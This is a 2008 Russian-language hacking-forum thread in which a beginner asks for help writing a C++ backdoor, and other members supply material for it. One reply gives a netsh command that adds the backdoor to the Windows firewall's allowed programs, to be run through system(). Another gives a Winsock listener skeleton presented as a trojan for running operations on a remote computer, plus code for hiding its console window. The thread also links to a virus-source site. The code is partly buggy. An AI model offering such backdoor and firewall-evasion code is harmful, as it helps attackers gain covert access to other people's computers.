backdoor на c++

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by ZET36, 22 Nov 2008.

  1. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    Сразу прошу прощения за содания новой темы, так как в гугле ничего не нашол.

    В общем, хочу попробывать написать свой backdoor.
    Хотелось бы примеров самых елементарных
    Клиент-сервер приложений.
    Если есть исходники бэкдуров на C++ то тоже выложите.

    Буду благодарен за любую помощь
     
  2. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Купи книжку по операционным системам с уклоном на программирование.
     
  3. xismyname

    xismyname Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    77
    Likes Received:
    7
    Reputations:
    -5
    Написание клиент-сервер самое легкое.

    Если хочешь написать хороший backdoor тебе придеться обойти firewall это уже довольно трудно,конечно если речь не идет о виндовс firewall-е =)
    Его можна обойти вот таким вот способом :

    Code:
    netsh firewall add allowedprogram program="C:\PUT_BACKDOORU.EXE" scope=ALL  name=Name_of_Backdoor_in_firewall_allowedprogram_list
    Если пишеш на C или C++ то передай примерно такую строку функции system() и считай что ты общел виндовс firewall =)
     
    1 person likes this.
  4. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    389
    Reputations:
    29
    куча доров на С++ на vx.netlux.org
     
    2 people like this.
  5. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    Вот ещё нашол мануал по Клиент-Сервер (для C++ Builder)
    http://www.cyberguru.ru/cbuilder-sources/network/rabota-s-soketami-na-vcl.html

    но при запуске клиента она выдаёт ошибку "Asyncchronous socket error 10061"
    извинте в си++ я новичок, может я что не так сделал?

    [​IMG]
     
  6. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    https://forum.antichat.ru/thread55225.html

    http://forum.antichat.ru/thread19146.html

    -----------------
    имхо, крайне тупая и бесполезная тема
     
  7. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    error 10061: Подключение не установлено, т.к. конечный компьютер отверг запрос на подключение.
     
  8. xismyname

    xismyname Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    77
    Likes Received:
    7
    Reputations:
    -5
    Привет.
    Я вот никак не понимаю почему ты пишеш троянь с GUI ???
    Скачай себе компилятор LCC-WIN32 - самый лучший вариант для написание бекдора,т.к. программы получаються довольно маленькими + не приходиться добавлять разные библиотеки как это делаеться в VC++.

    Создай консольную программу,закинь туда такой код :
    Code:
    #include <winsock2.h>
    #include <windows.h>
    #include <stdio.h>
    
    #define PORT 22222
    
    int main(void)
    {
    	struct sockaddr_in addr; // структуа где будет храниться наш локальный адрес
    	WSADATA wsd; // тут будет храниться информации о загруженном сокете
    	SOCKET ls,rs; // два сокет,один для принятии подключении другой для коммуникации с клиентом
    	char r_buf[1024],s_buf[1024]; // заниаем в памяти место с размером два килобайта.
    	int r_buflen;
    
    	if(WSAStartup(MAKEWORD(2,2),&wsd) == 0) // Загружаем виндовс сокет
    	{
                    // заполняем структуру для локального адреса  
    		addr.sin_addr.s_addr = htonl(INADDR_ANY); //
    		addr.sin_port        = htons(PORT);       // Переводим константу INADDR_ANY и PORT внутренний формат
    		addr.sin_family      = AF_INET;
    		ls                   = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  // создаем сокет,протокол TCP
    
    		if(bind(ls,(SOCKADDR*)&addr,sizeof(addr)) == -1) // соединяем локальный адрес с сокет
    		{
    			puts("Error : bind()");
    		}
    		if(listen(ls,3) != -1) // посылаем сигнал kernel-у, что мы готовы принимать соединения
    		{
    			rs = accept(ls,NULL,NULL); // а тут принимаем соединение
    
    			if(rs != -1)
    			{
    				r_buflen = recv(rs,r_buf,strlen(r_buf),0); // после принимаем данный от удаленного хоста
    
    				if(r_buflen != -1 && r_buflen != 0)
    				{
    
    					/* ТУТ ПРОВОДИМ СВОИ УЖАСНЫЕ ОПЕРАЦИИ НА УДАЛЛЕНОМ КОМПЕ  =D */
     					/* И ПОСЫЛАЕМ РЕЗУЛЬТАТ КЛИЕНТУ,Т.Е. НА ТВОИ КОМП */
    					send(rs,s_buf,strlen(s_buf),0);
    				}
    			}
    		}
    		else
    		{
    			puts("Error : listen()");
    		}
    	}
    	else
    	{
    		puts("Error : WSAStartup()");
    	}
    	return 0;
    }
    
    После этого тебе наверника придеться скрыт консольное окно своей программы,делаем это так :

    Code:
    char h_name[128];
    HWND h;
    
    GetModuleFileNameA(NULL,h_name,strlen(h_name));
    h = FindWindowA(NULL,h_name);
    Только если эту прогу запустишь с помощью компилятора то окно не исчезнет,зайди в папку где ты сохранил прогу и запусти ее нормальнын способом.
     
  9. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    xismyname спасибо, правда гуглил, все ссылки битые. На офф сайте тоже нету http://www.cs.virginia.edu/~lcc-win32/lccwin32.exe .Можеш выложит пожайлусто?
     
  10. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    396
    Reputations:
    297
    >> + не приходиться добавлять разные библиотеки как это делаеться в VC++.

    хм почему-то я компилю как раз-таки в Visual Studio, там элементарно параметры проекта поменять и либ не будет лишних прилинковываться. конечно, если по дефолту все оставлять, то будете тащить либы с собой. и вообще там можно очень маленькие приложения создавать, если уметь настраивать. а так, конечно, просто сказать, что студия гавно

    >> После этого тебе наверника придеться скрыт консольное окно своей программы,делаем это так

    а я просто в настройках проекта подсистему меняла с CONSOLE на GUI (в студии, которыю вы неуместно пинаете). все лишний гимор себе создаете
     
    #10 0x0c0de, 23 Nov 2008
    Last edited: 23 Nov 2008
  11. xismyname

    xismyname Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    77
    Likes Received:
    7
    Reputations:
    -5
    Давайте сделаем так,вы буду возиться со своими настроиками а мы вызовим две WinAPI функции и проблема решена.Если вы не заметили он начинающий - ему это только на пользу.

    GUI программа всегда получаеться с большим размером чем CONSOLE,даже если там невидны окна.

    Насчет студии от мелкософта то я буду пинать и вы меня никак не остановите :p

    Если вам нечего сказать по теме то не оффтопьте.
     
  12. xismyname

    xismyname Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    77
    Likes Received:
    7
    Reputations:
    -5
    Тут
     
  13. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    396
    Reputations:
    297
    >> GUI программа всегда получаеться с большим размером чем CONSOLE,даже если там невидны окна.

    Есть такое поле в опциональном заголовке PE-файла Subsystem (2 байта). Так вот. если оно имеет значение 2, то это GUI, если 3 - console (1 - Native и еtс). Встречный вопрос. Если я 3 заменю на 2 (изменив таким образом подсистему) размер файла измениться?

    Модеры можете удалить, но это дельный оффтоп. сори
     
    4 people like this.